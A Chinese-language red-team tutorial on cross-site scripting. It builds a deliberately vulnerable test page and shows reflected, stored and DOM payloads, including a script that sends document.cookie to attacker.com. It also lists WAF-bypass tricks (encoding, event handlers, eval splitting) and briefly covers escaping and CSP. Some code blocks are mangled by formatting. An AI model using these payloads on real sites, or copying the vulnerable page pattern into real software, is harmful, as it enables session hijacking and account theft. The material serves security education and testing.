一、从某知名银行网站XSS事件说起

2019年,一家知名银行因其官网存在严重的XSS漏洞,导致攻击者成功窃取了大量用户的敏感数据,包括登录凭据、账户余额等信息。该事件引发了一场轩然大波,许多用户对银行的安全性提出质疑。攻击者通过伪造登录页面,并利用跨站脚本攻击窃取Cookie和会话信息,从而进行后续的账户控制。从这一事件可以看出,XSS漏洞不仅能够危害个人隐私,还可能对企业声誉造成不可估量的损失。

作为一个红队成员,XSS是绕过前端防护、攻击用户浏览器的利器。接下来,我将从攻击者的视角剖析XSS的技术细节,并展示如何利用它从零到最终窃取目标数据。

---

二、脚本注入的门道:从输入到输出

XSS漏洞的成因

跨站脚本攻击的本质是:用户输入的内容未经严格过滤或转义,就被直接嵌入到网页中进行输出。这为攻击者提供了植入恶意脚本的机会。一旦这些脚本在受害者的浏览器中执行,攻击者就可以实现多种目的,例如:

  • 窃取Cookie、会话令牌
  • 冒充用户进行操作
  • 伪造登录界面,收集用户输入的敏感信息
  • 执行恶意代码,控制浏览器

常见的XSS类型包括以下三种:

  1. 反射型XSS:恶意代码通过URL参数传递,用户点击链接后直接触发。
  2. 存储型XSS:恶意代码存储在服务器端,所有访问该资源的用户都会触发。
  3. DOM型XSS:前端代码直接读取用户可控的数据,并操作DOM节点,从而造成漏洞。

---

三、环境搭建:模拟XSS攻击场景

为了更好地研究攻击技术,我推荐使用BWAPP或者自建一个简易的漏洞网站来做测试。以下是一个简单的环境搭建方法:

搭建步骤

  1. 安装BWAPP漏洞靶场
  1. 自建漏洞环境
  • 创建一个包含简单表单的HTML页面:
  • <pre><code class="language-html"> &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;测试页面&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form action=&quot;/search&quot; method=&quot;GET&quot;&gt; &lt;label for=&quot;query&quot;&gt;搜索内容:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;query&quot; name=&quot;query&quot;&gt; &lt;button type=&quot;submit&quot;&gt;提交&lt;/button&gt; &lt;/form&gt; &lt;div id=&quot;result&quot;&gt; 您的搜索结果为: &lt;script&gt;document.write(decodeURIComponent(location.search.split(&#039;=&#039;)[1]));&lt;/script&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; `

  • 这段代码会直接将用户输入嵌入到页面的&lt;div&gt;中,而没有做任何过滤,非常适合研究反射型XSS。

---

四、Payload构造的艺术:如何让脚本执行

在红队攻击中,精心设计Payload是关键。下面是几种常见的XSS Payload样式,结合案例说明其使用场景:

反射型XSS的Payload

假设上述自建页面的URL为http://localhost/search?query=测试,我们可以构造如下恶意URL:</code></pre>text http://localhost/search?query=<script>alert('XSS成功!');</script> <pre><code> 受害者访问此链接时,浏览器会解析并执行&lt;script&gt;中的代码,弹出一个提示框,证明漏洞存在。

存储型XSS的Payload

黑客示意图

在存储型XSS场景中,攻击者通常通过表单输入恶意脚本。以下是一个典型的Payload:</code></pre>html <script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script> <pre><code>此代码会将用户的Cookie发送到攻击者的服务器,从而实现会话劫持。

DOM型XSS的Payload

DOM型XSS主要利用前端脚本的逻辑漏洞。例如,页面中存在如下代码:</code></pre>javascript var query = location.hash.substring(1); document.getElementById('result').innerHTML = query; <pre><code>攻击者可以构造以下恶意URL:</code></pre>text http://localhost/#<img src=x onerror=alert('XSS')> ` 点击链接后,触发onerror事件执行alert

---

黑客示意图

五、绕过过滤器:让防护形同虚设

黑客示意图

防护机制永远有漏洞,红队要做的就是找到它。

基本绕过技巧

  1. HTML编码绕过
  2. 某些防护机制只拦截<script>关键字,可以尝试编码: `html %3Cscript%3Ealert('XSS')%3C%2Fscript%3E `

  1. 属性注入
  2. 如果输入被嵌入到HTML属性中,可以构造: `html " onmouseover="alert('XSS')" `

  1. 事件触发绕过
  2. 在某些场景下,利用事件绑定可绕过过滤: `html <img src=x onerror=alert('XSS')> `

高级绕过技巧

当发现WAF或过滤规则对常见攻击方式已经有防御时,可以使用以下方法:

  1. 分割注入
  2. 利用字符串拼接或编码,将完整的Payload拆分成多个部分,再由浏览器拼接成最终脚本。

  1. 利用多种编码
  2. 对脚本进行Base64编码,并通过JavaScript解码后执行。

  1. 混淆绕过
  2. 使用JavaScript的特性,例如: `javascript eval('ale'+'rt(1)') `

---

六、检测与防御:让攻击无所遁形

虽然作为红队我们专注攻击,但了解防御手段能帮助我们更好地绕过。以下是一些常见的防御方法:

常见防御技术

  1. 输入过滤与转义
  2. 永远不要将用户输入直接嵌入到HTML,确保对特殊字符进行转义: `html & -> &amp; < -> &lt; > -> &gt; `

  1. 内容安全策略(CSP)
  2. 设置严格的CSP,限制脚本的加载来源: `text Content-Security-Policy: script-src 'self'; object-src 'none'; `

  1. 框架与库的保护
  2. 使用安全性更高的Web框架,例如Django、Ruby on Rails内置的防护机制。

---

七、个人实战经验分享

黑客示意图

十多年的红队经验告诉我,XSS虽看似简单,但能玩出花样。我曾在一次渗透测试中,通过反射型XSS结合钓鱼邮件,成功绕过银行WAF,获取了十余个账户的Cookie。核心在于Payload的设计和对防护机制的理解。

建议各位红队成员:

  • 学会从用户的输入点逆向分析系统的输出逻辑。
  • 永远保持Payload灵活性,测试不同类型的编码和分割方式。
  • 如果发现目标有WAF,尝试做流量混淆,并结合其他漏洞链进行多重攻击。

---

这篇文章仅供授权的安全测试和研究使用,请勿用于非法用途。希望对你的红队技术提升有所帮助!